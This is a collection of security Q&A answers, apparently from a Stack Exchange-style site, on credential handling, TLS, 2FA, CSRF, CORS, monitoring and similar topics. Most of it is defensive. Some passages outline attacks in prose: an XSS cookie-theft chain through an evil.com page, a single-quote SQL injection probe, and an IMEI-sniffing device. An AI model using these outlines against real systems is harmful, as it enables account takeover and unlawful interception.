But obfuscation is about the code, not the data of various non-code file or memory. And even if your credentials are hardcoded, they won't be changed by an obsfucator.
Whatever the way your credential are handled at some point those credential will be load up into memory before being sent to your server for authentication. Which mean as long as someone can have access to the full memory (running a android simulator for instance) they could get those credentials.
Also if you're not using SSL to communicate with your server, simply listening the network will permit to catch those credential.
The main question is, why are you using those server credentials ? To limit the access of your API to your server against simple bot or against the FBI ? As long someone is motivated enough, he will be able to figure out your API. But do you really need to protect let's say against a state agent trying to crack you ? You will lose.
Security is about risk management, so first determine what reasonable risk you want to handle.
Edit : about the TCP/IP connexion
There isn't much I can answer from this, however if you want to protect the privacy of your users, then your server credentials aren't enough. To me the only point of your server credentials is to disallow an easy access to your server API.
Now if you want to protect the data of your user from another user (from the point of view of your server), then your user should have their own login/password that grant them access to their data from your app. And your server code must make it not possible to access user datas if not authenticated as the correct user when using the public API.
Of course as an administrator you might need access for administration purpose (debug, check backups, stats,...). But then it would be preferable that those aren't part of the publicily exposed API, instead you could setup a protected SSH connexion and do your stuff when directly connected to your server.
I don't think there is much more I can say.


Alternatives to hardcoding or encrypting key material in source code

What is best practice as of 2019 for storing secrets inside applications?

Best practice? Don't do it.

Its hard to answer your question without any context - what sort of "app"? What are the constraints? What is the threat model? What usages for the secrets?

If you are authenticating the user's interaction with the app, and the built-in capabilities of the client are insufficient, and you need to provide local then stored a suitably hashed representation of the user's passwords as data.

For anything which needs to be maintained as clear text, and which you cannot control the rotation of, and where your app will never see the user's password (or needs to run without an active session) and the secrets need to be available offline then encrypt the data using a master key, and for preference rotate the master key regularly (which is starting to sound a lot like building the kind of capability provided in most modern runtime environments). But this is a very undesirable situation - so should be the last option you choose.

If the app will only be used online (or only requires access to the secrets when online) then use an online store for the secrets authenticated by a changing token stored on the device.

Thee are so many other options I could be here all day painting scenarios and proposing what I think is the best solution.


I should just answer my own question after stumbling upon the reason - device flow was removed from the OAuth 2 specification:

  due to lack of sufficient deployment expertise at that time

Citation from Appendix A: Acknowledgements - IETF OAuth device flow draft #01.

Device flow is fairly common place these days. Some apps (e.g. HBO GO) on media devices (e.g. Roku) appears to utilize the device flow, where the device you're logging on to is decoupled from where you're entering your credentials. E.g. when setting up the HBO GO app in Roku, I get prompted to enter a code, which I get by logging into the hbogo site from my laptop's browser.


There is no such model and no such problem. As long as users are not authenticated you cannot prevent multiple usage of your resources by the same user. Users can delete cookies, can change their IP, can change their browser, etc. If you require users to be authenticated then you can reduce the number of such cases, because some part of users can find it to difficult to create multiple accounts to your system. To assure each user has really a single account, or (more precisely) not too many accounts, you can use registration via mobile phone, or use credit card number in the registration process.


Why do I need to check the issuer/subject of a certificate rather than just the thumbprint?

Because it is way more restrictive...
...and that might not be what you want. To be clear, you absolutely can, but that means whenever you change the certificate, you need to also change who you trust.
Verification of the subject and CA on the other hand means that you can keep your verification logic as-is and just change the certificate itself.

You will change your certificate whenever it expires. Since certificates are usually valid for about a year (and the trend is going towards shorter certificates), that means you'd need to change your verification logic every year.


Is it possible to establish a TLS1.3-session without any certificates/authentication?

It is possible to do the authentication without certificates but it is not possible to do no authentication at all. By using PSK the server authentication is not done with a certificate but with a pre-shared key, i.e. a common secret known between client and server.

  If yes, how can I instruct an openssl client (via commandline) to do so?

With openssl1.1.1 you can start a server the following way:

# use a 48 byte PSK
$ PSK=63ef2024b1de6417f856fab7005d38f6df70b6c5e97c220060e2ea122c4fdd054555827ab229457c366b2dd4817ff38b
$ openssl s_server -psk $PSK -cipher TLS13-AES-256-GCM-SHA384 -nocert -accept 2020

If you then start the client with the same PSK you get a successful TLS 1.3 handshake with no certificates involved:

$ openssl s_client -psk $PSK -connect localhost:2020
CONNECTED(00000003)
---
no peer certificate available
---
No client certificate CA names sent
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 195 bytes and written 475 bytes
Verification: OK
---
Reused, TLSv1.3, Cipher is TLS13-AES-256-GCM-SHA384
...


On Android and Blackberry, applications can access the IMEI with no special privilege. On iOS, there is no documented API, and you may or may not get away with using undocumented APIs.

The IMEI isn't a terribly good way to identify a phone. Some exotic locales like North America have CDMA phones with no IMEI. All major platforms have a way to report a supposedly-unique identifier which doesn't change during the phone's lifetime (Android, iPhone), but they aren't always reliable. You can never know whether the reported ID is genuine (unless you make additional assumptions, such as your application being used on a non-jailbroken phone), so it isn't a method of authentication.

Unless you need a device identifier that survives uninstalling and reinstalling your application, generate a client certificate at provisioning time. You'll need something like that for authentication anyway, so you might as well use it to identify the device too.

If you want the ability to install your application to be tied to a particular piece of hardware, most smartphones today don't offer this. On any rootable phone, users can back up their installed applications and restore them on another device.


Dealing with a (possible) virus on both MacOSX and iOS

Sounds like you may have caught the OSX.RSPlug.A Trojan Look here for instructions on how to remove it: http://www.ehow.com/how_2128387_remove-osxrspluga-trojan-horse-mac.html

This trojan can only be obtained, by you actively downloading and installing it, probably masked as a trustworthy program.

As for antivirus, there's no AV Software out there, that will make sure that you can't obtain a virus. The best advice I can give you, is to use common sense when downloading, and try to verify the source. AV's tends to give people a false sense of security.


Can my WIFI Home router be brought down to cause me to connect to a fake AP?

No, if you are using WPA2, even though they may be able to deauth you from your router using one of the mentioned exploits, since your original question had to do with a PSK protected network, assuming you are using a WPA2 connection, the four way handshake will require that the AP prove itself to your system.  A rogue AP would be unable to do this as it would be unaware of the pre-shared key and the connection would be aborted.


I think my server is under attack, what can I do to stop it?

I don't think your server is being attacked very effectively, if it's the usual "guess root account password" moronic attack.  That attack just won't work if you have sshd configured at all securely (with PermitRootLogin no).

If you're comfortable with C-language coding, you can make a "tarpit" out of sshd by following these instructions.  The last time I did that, I set up my SSH server to delay for 7 seconds on an incorrect password.  I didn't do exactly as the instructions said, but it was pretty close.  Anyway, on a bad password, sshd sleeps for some seconds, which really puts a dent in the cycles those password guessers can sap, as they send requests sequentially, and single-threaded.

If we all set up our SSH servers this way, SSH password guessing will go the way of the dinosaur.


How do I add 2FA to my personal computer?

The reason you don't find what you're looking for is that 2FA in the static-password + short-changing-code sense is pretty much pointless for a personal computer. It's only useful for network access or if the password grants access to a large number of systems, and is primarily useful as a defense against phishing. None of this tends to apply to a personal computer.
The defense against losing your data if the PC is stolen is encryption. The encryption key must be sufficiently well protected to make it impractical for the thief to find it. The encryption key needs to be the same each time (otherwise you couldn't decrypt data from a previous session). So it must be calculated in a deterministic way from the available data. What (secret) data is available?

Data stored on the computer is pointless because if the computer is stolen, the thief will have this data.
Secret data can be stored inside a separate chip that will only reveal the secret if given a password, and that is physically protected so that the thief can't just read the data from it. In practice, this means a TPM¹.
Your password can be used as data that's in your mind.
You can use additional data that is stored on a separate physical device that you carry with you. In practice, this means a smart card. (A QR code might be a practical alternative if you aren't worried about hidden cameras, but I haven't seen ready-to-use software for that.)

A changing code (the kind of second authentication factor that you're looking for) does not help with encryption derived from a password because it changes every time (and if it didn't change every time, it wouldn't add any security because it would just blend into the password). If your computer is stolen and the thief manages to guess or find your password, the thief can take out the hard drive and access it directly, without using any software that would ask for a changing code. (And if the thief can't figure out your password, your data is safe.)
A useful second factor of authentication for encryption is a smart card, which contains the encryption key (or some intermediate key from which the key is derived). This is a different way to use a “what you have” factor, which combined with a password (or a PIN for the card) provides you with a 2FA. The cost for an individual user is something like $20 for a USB reader and a couple of cards. A TPM can serve the same purpose as the smartcard, if there's one on your motherboard, but it's less useful because it would be stolen with the computer, whereas the point of the smart card is that you keep it with you in your wallet.
A changing code could be useful if you have a TPM and you use it to store the disk encryption key. But as far as I'm aware TPM don't support this kind of second what-you-have factor. (There's a good reason for that: validating a changing code requires either a precise clock or keeping track of which codes have been used, and the kind of technology that goes into a secure chip is not very good at either.)
A changing code is not very useful as a second factor if the thief steals the device while it's powered on and the encryption key is in memory. If the thief manages to dump the key from the memory, authentication is irrelevant. If the thief tries to guess the password, the operating system already prevents fast retries, so the thief only gets a very small number of guesses and anything harder to guess than your spouses's name will resist. The only case where a second factor can help with an attack against logging in to a powered-on system is if the thief already knows your password, which is a concern in corporate and commercial environment where phishing is an issue, but typically not for a personal machine.
¹  Not all TPM are protected against invasive physical attacks, but they raise the bar from “worth taking 5 minutes to get some random person's banking information” to “only worth it for juicy corporate secrets”.


I just had a flashback to the A+ and NT MCSE days.. back to the topic at hand. Information security tends to fall on two sides: either you do the technical side (aka analyst or engineer ) or the policy side (aka auditor or manager). In a 300 person company I would suspect that you are going to need to do both the technical and policy side. Do a search for information security on indeed.com. The indeed.com listings can give you an idea of typical information security job descriptions and salaries.


Why do I need an space at the end for this SQL Injection to work?

According to the MySQL documentation, MySQL requires at least one whitespace character after the double dash for it to be registered as a comment.


Denial of service attacks and brute force attacks on a single client are two very different things and ISPs will have different responses. Also, ISPs are not all created equal, some will be better than others at detecting and dealing with problems.

Distributed denial of service attacks attempt to flood a host or hosts with malicious traffic of some kind, and this will impact the service an ISP will be able to offer their customers as all this traffic must go through the ISP's network devices. Good ISPs will monitor their traffic levels and analyze it when certain thresholds are passed, and good ones will also have trained their staff to respond. All ISPs can run at least some filtering to reduce the levels of unwanted traffic. They'll do this to protect their own network as much as their customers.

ISPs do not typically monitor for malicious traffic like brute force cracking, although some services may offer that type of service as an extra. Many ISPs have the technology in place to monitor for that type of traffic, however it would cost them time and money to do it so they won't unless they have a financial incentive.


Can WiFi absorbing wallpaper absorb enough signal to provide a legitimate security benefit?

If wallpaper absorbs RF energy and not reflects, then the only way to gain access to wifi is by a direct line of sight through the window. And I would never call Wifi absorbing wallpaper a security measure. Its primary purpose is to reduce interference.


Bluetooth/WiFi Identity tracking in public spaces - How to discover?

I don't think there is anyway you could know that it is being tracked.  If you have Bluetooth and/or WiFi turned on, you would have to assume that it is possible that they can be tracked.

If this is an issue for you, the only solution is to turn off Bluetooth and WiFi in public spaces.


Can Silicon Secured Memory prevent buffer overruns?

Can SSM reliably prevent buffer overruns?

It does not claim to offer 100% prevention but it definitely offers more granular protection compared to previous hardware based solution (which had usually page granularity) and much better performance than software based protections with a similar granularity. There are some limitations like

Your code has to actually make use of it. This can be as simple as using the provided malloc, but custom memory allocations like done in OpenSSL need to be changed. And I don't know if the compiler will add such protection to the stack too or if this is only possible for data allocated on the heap.
The memory must be aligned to 64 byte. Thus it will not detect when you overflow an allocation of 32 byte only.
There are only 16 colors (4 bit) available for each 64 byte region. Thus the chance that some random pointer has the same color as the protected memory region is still 6%.

Thus it is not perfect but the chance to catch problems early and thus prevent attacks are much higher than with existing solutions, at least with solutions in the same performance class.

  earlier attempts to solve buffer overruns (e.g. DEP)

In my opinion DEP does not protect against buffer overruns at all but only makes sure that one can't simply execute code which was written to the stack or heap. Thus it only deals with some of the possible ways to make use of a successful buffer overflow, whereas SSM can help to prevent the overflow itself.


Downsides of showing email address on Android lock screen

Your email address is generally public knowledge, so disclosing it is often not a big security risk.

But it gets complicated when it's your phone. Because your email address is often used as your username to log into services, and you (should) use your phone as a second factor when logging in, tying those two pieces of data might have unintended consequences. Yes, you (should have already) encrypt your phone and you (should) have a strong password to log into your phone, but there are risks depending on how you implemented everything.

The better option to do what you want is to display a secondary address that you do not use as a username anywhere. This is easy to do and to simply forward all emails from there to your primary address.


I need to develop a system where a user can upload a file via browser
  which encrypts the file and stores it on my server. After the file is
  uploaded other user can download the file with an iOS or android app
  and decrypt it to view it. The problem is I shouldn't be able to
  decrypt the file on my server, because the files are potentially very
  sensitive.

People do this frequently with cloud storage systems like Dropbox: encrypt a file, store it on the host, then decrypt it elsewhere.  You can re-use any common, well-tested encryption system (GPG, TrueCrypt, etc.), and to the host it's just an encrypted blob.

If you provide this as a product, you should re-use existing file encryption software, and re-use existing cloud storage systems (S3, for instance, is quite cheap and provides excellent availability and durability guarantees); the only bit you have to do yourself is the UX on top of them.


Email "privacy" when sending within same domain

Your have about 50% less violation of your privacy in this case.

When you send an unencrypted email to another domain, both your mailserver and the mailserver of the receiver can read it.

When you send an unencrypted email to the same domain, only the mailserver of that domain can read it.

This assumes the ideal case where both sender and receiver connect to their respective mailservers with TLS and the mailservers also communicate with each other also via STARTTLS. When one of these assumptions is wrong, there is an additional attack vector which needs to be considered separately.

In case of GMail, Google will read your email, parse it automatically, and use the information in your emails to add information to your and your communication partners Google profiles which are shared between all Google services for targeting both search results and advertising. Google Inc. itself claims that user should not expect any privacy when using their email service. So when you value your privacy or that of the people you communicate with, do not send or receive email with GMail.


Does vulnerability exist when using XHR with GET method and custom anti-CSRF HTTP header?

I wouldn't rely on this design. The HTTP specification states:

  Implementors should be aware that the software represents the user in
  their interactions over the Internet, and should be careful to allow
  the user to be aware of any actions they might take which may have an
  unexpected significance to themselves or others.

  In particular, the convention has been established that the GET and
  HEAD methods SHOULD NOT have the significance of taking an action
  other than retrieval. These methods ought to be considered "safe".
  This allows user agents to represent other methods, such as POST, PUT
  and DELETE, in a special way, so that the user is made aware of the
  fact that a possibly unsafe action is being requested.

  Naturally, it is not possible to ensure that the server does not
  generate side-effects as a result of performing a GET request; in
  fact, some dynamic resources consider that a feature. The important
  distinction here is that the user did not request the side-effects, so
  therefore cannot be held accountable for them.

More generally speaking I would never recommend using CSRF tokens in GET requests since they may become available in various log files (vulnerability if the anticsrf token is not properly disposed of after one use.), they may become part of the referrer header, users may bookmark them and this will lead to either a security leak or to invalid bookmarks. This may have negative impact on the SEO too. Etc, etc.

So I think that GET+CSRF+ANY_OTHER_SENSITIVE_DATA=bad idea.


Is this a reasonable approach of continous network monitoring?

The approaches you mention are a bit confusing, and I will explain why. In a properly designed infrastructure many of the bulletpoints you listed would be addressed:

Hourly host discovery scans - If you implement strong port security on your switches, and used NAC - PacketFence (since you mentioned open source, I did also) you wouldn't need to worry about what was plugged in. The counter would be someone commenting: "Well yea but MACs could be spoofed" I say: "If someone is on your PHYSICAL network spoofing MAC addresses you have bigger things to worry about. Network Address Control done properly minimizes someone just throwing something on the network.

Permanent passive host discovery through broadcast - This was addressed with the NAC comment, but even if it hadn't been, not all hosts respond to broadcast.

Hourly scan of all hosts for nic's in promiscuous mode - This is a permissions issue/system issue. A normal user cannot put an interface in promiscuous mode. Properly patched systems include updating software. Without a vulnerability, or permissions, a user would not be able to turn on promiscuous mode, with NAC, they wouldn't be able to put up their own machine.

Hourly scan of all hosts for activated ip forwarding - More overkill. Without permissions to both the system and the network, I don't see how forwarding would occur.

Daily "non destructive" vulnerability scans of all hosts (using OpenVAS) - This is a lot of noise.

Much of what you have written about aligns with the "castle" approach to security. This is where you keep building to block from coming in. In this case, instead of looking at what you have, and how to use it, you are adding more issues down the road. Account auditing (logging sudo commands, controlling who can do what as an admin) is a better approach than wondering whether or not someone is putting something into promiscuous mode. Implementing NAC keeps untrusted, untested systems off your network. It is a one two punch: "no random machines, and no machines in existence can be tampered with. There are not vulnerabilities." Is a quicker, more effective, and more scalable approach then what you mentioned.


How much entropy is required for a Grid Card?

I assumed the total entropy of one query to be about 232, which is only 529

The computation is correct but what you show is the number of variants which is not the same as entropy or password strength. This would instead be about 9 since 29=512.

  Is this enough for a secondary factor?

Probably not but it depends a lot on how this second factor is used. If the attacker can do unlimited guesses in a short time without any side effects then this is definitely not sufficient. If instead the first wrong attempt will result in immediate death of the attacker then even this easy to brute-force scheme might be too risky to even start with brute-forcing.

  If not, how can its security be improved?

The obvious ways are to increase the number of variants, i.e. put more letters in each grid, choose from more symbols (for example use small letters too), ask for more than only one grid cell ...

Apart from that limit the number of possible attempts to slow down brute-forcing. This might be an increasing wait time after each wrong guess or even a permanent block after a specific number of wrong attempts. Or increase the costs of each wrong guess by actually requiring more and more money to have another guess :)

What of these and similar proposals  is actually doable depends a lot of the environment where this scheme is used. It also depends on the value of the assets which should be protected by this scheme, i.e. the costs to break this scheme should be higher than what can be gained as result so that breaking the scheme is not attractive. This means that another way to deal with the problem is to limit what the attacker can achieve with a single correct guess.


Does compiling a program in Visual Studio (Windows Forms, VB.NET) leave a MAC address in the executable?

It's impossible to give you a definitive answer to this. The short answer: it is unlikely that your MAC (or IP) address will be included in any executable you compile for the purpose you described, unless you intentionally included it.

In order to be more certain, you would have to do a code review of every dependency you have used in your project, which could be a pretty big job.

As pointed out by Z.T. in a comment to your question, though, one way to make it much less likely would be to compile your code in a virtual machine. Exactly how to do that is beyond the scope of an answer to this question; this guide should be adequate to get a virtual machine of Windows running under Windows.


Bootstrapping dual SMIME certificates for signing and encryption?

The de jure standard is RFC 5751. In particular, see section 2.5.3: among the attributes which can be attached to a signature (a SignerInfo) is one called "SMIMEEncryptionKeyPreference" which identifies the certificate that the sender would like people to use when they send encrypted replies to him. The certificate itself is supposed to be included in the CertificateSet attached to the SignedData object.

Beyond the ASN.1 jargon, this means that the bootstrapping works thus: user A sends to user B a signed email; the signature not only authenticates the email itself, but includes a set of attributes which give to B enough information to send an encrypted reply to A, in particular A's encryption certificate, and an unambiguous designation of the specific certificate to use for encryption, in case the certificate contents are not enough (for instance, if user A has a certificate with a Key Usage extension which marks it as "signature only", and another certificate which is marked as "encryption only", then there is hardly any ambiguity).

Whether this will work well with existing MUA software is another question, which can only be answered through tests.


Most of the CVEs associated with KRACK will only be remediated by patching the wireless client components of the OS and it is part of the OS by design. Think of it this way, why would hardware manufacturers want to recreate a process that is common to all hardware in their drivers rather than leave it to the OS?

As far as I read to date, the most mitigation that any driver update provides is for 2 of the CVEs (for example, as reported on this Revolution Wi-Fi blog post). That leaves the remaining 8 (of which only 7 are addressable by client patching).

So it is unlikely that there will ever be a "dongle" or stick that is immune to KRACK.

Let me go on to say that there was a time when hardware vendors often did provide their own wireless client/supplicant as part of the software installation, but this was because support for wireless was not yet "baked into the OS." However this meant that you needed to have software installed on the computer, which in my mind would be more troublesome than patching the OS itself.

The last holdout to provide their own wireless client utility that I am aware of was Intel, and they officially dropped support for it with Windows 10:

  Intel® PROSet/Wireless WiFi Connection Utility is not supported on Windows® 10 and is no longer installed by default on other Windows OS.


How to avoid leaking your public IP to installed applications like browsers when using a vpn?

How to prevent WebRTC leaks? Disable it. There are browser extensions that can help toggle it.

Otherwise, you'd need to create firewall rules that ensure 100% of your traffic goes through the VPN, including blocking all IPv6 if the VPN doesn't support it.


New Certification: C|CISO. Where it stands?

There are distinct differences, even just from the statements regarding them on the EC Council and ISACA websites.

To answer your headline question: where does C|CISO stand:

At the moment, nowhere, but they are aiming for a slightly higher grade than CISM. I'm not sure how well it will work though; CISM is for experienced security management and not pretending to be anything higher; C|CISO is aiming at CISO's and those planning to be CISO's soon but appears to have remarkably similar entrance criteria to the CISM.

It is an interesting change of direction for the EC Council - the C|EH is at the opposite end of the spectrum: a beginner's security testing cert - so I will be watching to see how it goes. I have asked them for more information and will be sure to discuss further once I know more.

(disclaimer - I am the President of ISACA Scotland, but not biased - I am also the Chairman of the Scottish branch of CIISec, and believe in the value of certs where appropriate)

Update - I grandfathered in to the C|CISO at the end of 2012, and it looks like my original assumption is correct. It is aimed at the wider CISO experience, not just a security manager, but brings in elements that a CISM doesn't necessarily need around wider business risk, board level decisions and strategy, and a more holistic business view.


Terminology: What kind of security applies to industrial control systems, fire alarm systems, etc.?

Security in industrial control (SCADA) systems, building automation
  systems and fire alarm systems involves aspects of all four security
  "areas" mentioned above, but is anybody aware of a single "xxx
  security" term that would intuitively apply to such types of systems?

It is generally refereed as Industrial Control System (ICS) Security, SCADA Security or Control Systems Security. In fact there are a few certification with the similar title for security professionals expert in ICS or SCADA systems e.g Global Industrial Cyber Security Professional (GICSP), or books with titles like Industrial Network Security or Handbook of SCADA/Control Systems Security cover the the security in these systems.


Is using JWT token for "remember me" less secure than random session token?

JWT, if hashed and encrypted strongly enough, are just as secure as sessions and bring lower overhead. Just make sure to keep it small(although if you're doing anything that requires more than a few KB of storage you're probably doing something wrong...). Follow the best practices for session with JWT and you'll be fine.

If you use a strong enough algorithm and a strong enough key then the user trying to crack it will be WAY out of luck. And if they do crack it then they also have to find a way to steal other people's JWT cookies to get that info(the same type of attack against a session).

If a JWT is less secure than a session, then you've designed it wrong because a JWT is a client sided session. Everything you would store in a session can be stored here. Heck you can even store a session id in it to keep track of larger things in the DB that wouldn't have a place in the JWT.


Is it a security issue to allow nearly identical email addresses when registering?

The one and foremost problem with this approach is that in your example, only the first one is actually a syntactically valid email address. The three others are not. This means that one of the two following options holds:

The "email address" is merely a suggestion. The system wants a unique login identifier; email addresses are reasonably good identifier because users remember them, and the email system already ensures worldwide unicity.
The email address is really supposed to be an email address (e.g. to send emails to that address), and the registry system totally fails at validating that whatever the user entered is an email address.

In the latter case, this means that emails fail to be conveyed, and also that the developer was very sloppy with regards to user input validation, which is not a good sign for security, generally speaking.

However, if the identifiers are free form, then what you are witnessing is the result of the creativity of human users. It is not a problem as long as the login identifiers are used for what they are. Spaces, semicolons... can wreck poorly implemented scripts or applications. (Try registering with an account name containing a single quote, in case there is some possible SQL injection.)


According to VirusTotal, Sophos anti-virus seems to be the only one yet to consider this page as malicious. However, as you correctly analyzed it, this page is a blatant phishing attempt.

Your browser would normally not let a page, even a malicious one, get any information of what is going on in the other tabs. The only exception is when a page delivers some malware which will either exploit a browser vulnerability or install itself in your computer (well beyond browser's control reach).

Here, at a first glance this page's goal doesn't seem to infect you with any malware but just to collect you credential for various systems. So, as long as you did not filled any of its fake authentication forms, then I consider you should be safe.


Is my SSL connection encrypted if the certificate isn't trusted?

SSL consists of two major parts:

the encryption of the data
the validation that you are actually talking to the expected server

If you get the warning about an untrusted certificate than the encryption will still work, but you cannot be sure that you are talking to the expected server. This means a man in the middle attack might be possible where an active attacker will decrypt, sniff, and re-encrypt the traffic. That is instead of this:

     Browser <----------- encrypted -----------------------> Bank

you get this:

     Browser <-- encrypted --> Attacker <--- encrypted ----> Bank

In this case the attacker can sniff all data (passwords etc) and even modify the data and the client will not notice it. The connections are still encrypted, but not end-to-end (browser-to-server) but browser-to-attacker and again attacker-to-server.

Usually you should not override the warning by the browser because chances are high that there is a man in the middle attack going on. Only in the case where you know that the certificate is the expected one (verify fingerprint, not just the subject of the certificate) you can override the warning.

Note that there are cases of legal man in the middle attacks, i.e. SSL interception done by antivirus proxies or by middleboxes (firewalls) so that these can analyse the encrypted traffic. In this case your computer is either automatically configured to trust these certificates or you need to explicitly import the proxy-CA which signed the new certificates. If you are having such kind of problem while using your own computer inside the company please ask the network administrator how you should proceed and don't simply accept the certificates.


What scenario does CORS protect against?

... publish a whitelist of sites (in the response headers) to which external requests can be made

This would be pretty dangerous. An attacker could simply decide that access from his site to various others is allowed.

Instead the recipient of the request should decide if the request is acceptable or not (i.e. from which origin instead of to which target). This is essentially what the Access-Control-Allow-Origin header in the response to a CORS request does.

Given that the allowed origin for a cross-site request might not be only specific for a site but also specific to a resource on the site (i.e. specific URL vs domain) it makes less sense to publish site-wide information about this in any HTTP response from the site. Instead it makes more sense to publish the relevant information in the HTTP response for access to the specific resource.


Can someone explain in layman terms how Spectre and Meltdown expose protected data

Suppose you're shopping, and you can't remember whether you need cereal, but you think you probably do. So, you send an SMS to your partner to check, but while you're waiting, you go to the cereal aisle and pick some. If it turns out that you don't need it, you'll just put it back.

When computers do something similar, that's "speculative execution".

Now, let's suppose that for privacy reasons, only one customer is allowed in the shop at a time, and then the shelves get restocked by a robot when they're done. So, it shouldn't be possible for the next customer to tell what you bought. But, when you put the cereal back, maybe you bumped the ones next to it, so they're not quite in exactly the same place. The restocking robot doesn't do anything about them, since the shelves are still stocked. But an obsessively keen-eyed shopper coming after you might now be able to tell your preferred cereal brand.


What would be a valid approach to store private keys?

Instead of building your own AES solution, look at TLS/SSL to encrypt the password being sent to the server.  If you build your own solution as you propose, anyone who cracks your app will be able to read all your users' passwords (and if it secures actual money, people will try to crack it.)  TLS securely exchanges keys with the server as a part of the protocol, resulting in a communication channel that is very resistant to eavesdropping.

If you have some actual reason to encrypt data locally with AES (not involving communication to the server), then if you're building your app for iOS you should be using Apple's keychain API.  I'm not sure what the Android equivalent is, but I believe there is one.  This uses OS level support to hide your secret data.  It's still vulnerable to hacking, but as you can make it random per user, at least a break on one mobile device won't compromise the security of all your users.

If you don't have OS support for storing a key, then you're ultimately stuck with an obscuration solution.  Personally, I'd XOR several values to build the key instead of concatenating fragments of a string, but if someone's going to debug the app and discover it, they're going to discover it regardless.  That means you shouldn't use this to protect any secret regarding the customer's money, accounts, finance, health, credit, retirement, or other records that should be properly secured.  In other words, this might be fine for a game that doesn't involve the customers' wallet (or your wallet, for that matter.)


It depends what you are trying to protect against, if this traffic goes over the internet, technically people would still be able to sniff or modify your traffic if they were able to put themselves between your two machines. IPTables is a firewall but it does not offer means of encrypting the traffic. Therefore you need to depend on other protocols like encrypted VPNs or IPsec.

Practically, it's relatively, commonly deployed on Linux machines unless you have dedicated firewalls. For instance I have implemented it to only allow SSH to be accessible from a certain amount of public and local IPs.


Creat IIS USER in SQL from different machine

The app pool identity allows you to access network resources using the machine account, so instead of granting the app pool access to the SQL Server by name, you simply need to grant access to the web server machine account, which looks like this:  DOMAIN\web-server-name$' Note the$` at the end, which is always there to denote a machine account.


Looking at your description, the application seems to be vulnerable to Cross-Site Scripting (XSS). Such attack can lead to the compromise of student accounts and even accounts with higher privileges. This can be demonstrated by:

The victim clicks a shortened link leading to http://evil.com.
The page http://evil.com contains a hidden 'My Notes' form that is pre-filled with malicious <script> (a script that sends the user's cookie to the attacker).
The form is automatically submitted to the legitimate WebAssign URL (not that the request is sent from the victim's browser, meaning that it is sent with the victim's cookie).
The legitimate WebAssign page is rendered with the malicious <script> which is executed and the victim's cookie is sent to the attacker.

This can be mitigated by properly sanitizing the user-supplied HTML content before sending it to the browser and by setting the HttpOnly flag with the cookies.


How to know for which packet snort alert triggered for

If you use a recent build of Wireshark, it has a Snort post-dissector which substitutes the packet number into the fractional part of the timestamp before it feeds each packet to Snort.  When an alert fires, it can then attach the alert info to the correct packet (showing the correct timestamp) in the Wireshark packet list.


Is it feasible to make an IMEI sniffer the size of a matchbox within EU legislation?

This is certainly possible. And many such devices do exist.

Whether this is legal is not a question for this site, but I would strongly suggest talking to a lawyer in your area who deals with this type of law. There's a really, really strong possibility that local laws prohibit exactly what you're talking about.

In particular, the simplest technique is to transmit a strong enough signal to cause nearby phones to temporarily disconnect from their towers and attempt to communicate with you. If your device can do this on GSM frequencies, then it almost certainly runs afoul of local communication laws, since your device will not have a license to do so. Though exceptions for experimentation with devices you build yourself may exist in your locality.

It may be possible to discover IMEI numbers through passive-only sniffing, which would mean a much smaller build, less power, and less legal complication. I would recommend pouring over the GSM specification to see if this is possible.

You'll need to read it sooner or later if you intend to build this device. Might as well read it now.


Open SFTP on the main server - the safe way?

I think each service should be separated. IDK if you have the possibility of creating different virtual machines or setup different servers for each service which is more secure. As simple as if you are hacked, only that machine is hacked. To mix services in the same machine usually is not good idea. Of course it depends of the environment, the target and the structure.

Anyway, if is something you know is not the best but is going to be done, try to secure it:

Change the standard port. <- this practice is not a very good protection... you know if scanned the service is going to be shown anyway, but maybe you can avoid some bot's scanning.
Restrict (whitelisting) the ips. Try to allow only certain ip addresses. <- this can't be done always, it depends if your clients are going to be always the same or if you have itinerant clients.
If your hardware or firewall supports it, use port knocking. <- this is nice for this kind of situations.

Summary of what port knocking is:

Is a method of communication between two computers/devices. At first sight, when the client ask to the server for a service, the port is shown as closed, but if you ask for certain ports (a combination of them in a specific order), then the port is opened. This process of knocking is what gives port knocking its name.

Good luck!


Is it a good practice to show 403 unauthorized access error to user?

In production environment, you usually want to disclose as little information as possible. For that purpose, it's preferable to show generic error codes:

Error 400 for client-related errors: Bad request, authentication needed, etc.
Error 500 for server-related errors: Database down, site down for maintenance, etc.

Ideally, you shouldn't opt for the default error pages provided by your webserver. You either make your own error pages, or edit the default error pages in a way that hides any information that could be used by an attacker. For example, here's an error from one of our servers when accessing a password-protected URL:

Beyond that, it's a pure usability issue and it's greatly case-dependant. Shouldn't you redirect users to the homepage? Are those areas password-protected? Should you view a login form? Or do you simply want to show the generic error message with your site's style?

Here's an example of an error page on our site (Security.StackExchange)


Blocking access to this specific library can be done with the acl mechanism in squid if you know the full URL of the library or a relevant part of the path which should of course match only against this library and not against innocent files.

If the URL is not known you can try to do content analysis using the ICAP or eCAP interface of squid. But note that the evercookie Javascript library is only an example how such a cookies could be created and while somebody could use the original library he could also modify the library to change typical variable names or just use the ideas of the library in his own library or even interweave the functionality with other code so that the whole web site fails if you try to block the evercookie. This means the chances are high that even content analysis will not result in a sure blocking of the library. Depending on how you match you might even block innocent data (i.e. false positives).


how to continuously caputre all my network traffic?

This blog post talks about doing continuous capture with Wireshark -- specifically, with the dumpcap utility which comes with Wireshark. The utility supports some filter expressions, based on port, IP address, protocol...

For more extensive filtering and searching abilities, some googling reveals the existence of n2disk, which is not free (in neither sense of the term), but may be worth it (I have not tried it). Moreover, n2disk relies on nDPI, which is free (GPL); it is a library, so you could potentially use it to write your own "capture record" application. Also have a look at nProbe, which is also GPL (but with a fee -- this highlights the difference between the two notions of "free"), and which might fit your bill.


What was/is the purpose of the 'MONLIST' command in NTP?

monlist is a debugging command that allows to retrieve information from the monitoring facility about traffic associated with the NTP service.

  The reference implementation of NTP [...] allows users to request a list of hosts with which the NTP daemon ntpd communicated recently. The list, called "monlist" has a size limit of 600 entries and contains the IP addresses of the last NTP clients or servers the instance has talked to.

(Source)

You don't find it explicitly mentioned in any RFC as it is a NTP mode 7 request. RFC 1305 explains that implementations may use "reserved mode 7 for special purposes, such as remote control and monitoring".

The ntp-monlist NSE script also has some information:

  Monitor data is a list of the most recently used (MRU) having NTP associations with the target. Each record contains information about the most recent NTP packet sent by a host to the target including the source and destination addresses and the NTP version and mode of the packet. With this information it is possible to classify associated hosts as Servers, Peers, and Clients.

Besides the information disclosure problem, monlist has a history of vulnerabilities such as CVE-2013-5211 which allowed DoS attacks by traffic amplifiaction via monlist queries with a forged source address.


Why did hosts get infected if the endpoint protection product has a signature for that malware?

